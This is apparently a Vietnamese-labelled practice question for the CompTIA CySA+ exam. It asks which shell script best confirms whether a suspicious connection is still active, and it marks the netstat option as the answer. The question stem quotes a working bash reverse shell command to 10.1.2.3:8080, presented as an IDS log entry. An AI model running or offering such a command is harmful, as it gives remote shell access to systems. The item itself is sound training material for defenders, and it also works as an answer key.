Câu 40: CS0-003: CompTIA CySA+ (CS0-003)

A security analyst identified the following suspicious entry on the host-based IDS logs:bash -i >& /dev/tcp/10.1.2.3/8080 0>&1Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

1. A. #!/bin/bashnc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"
2. B. #!/bin/bashps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
3. C. #!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"
4. D. #!/bin/bashnetstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK" — đáp án hiện tại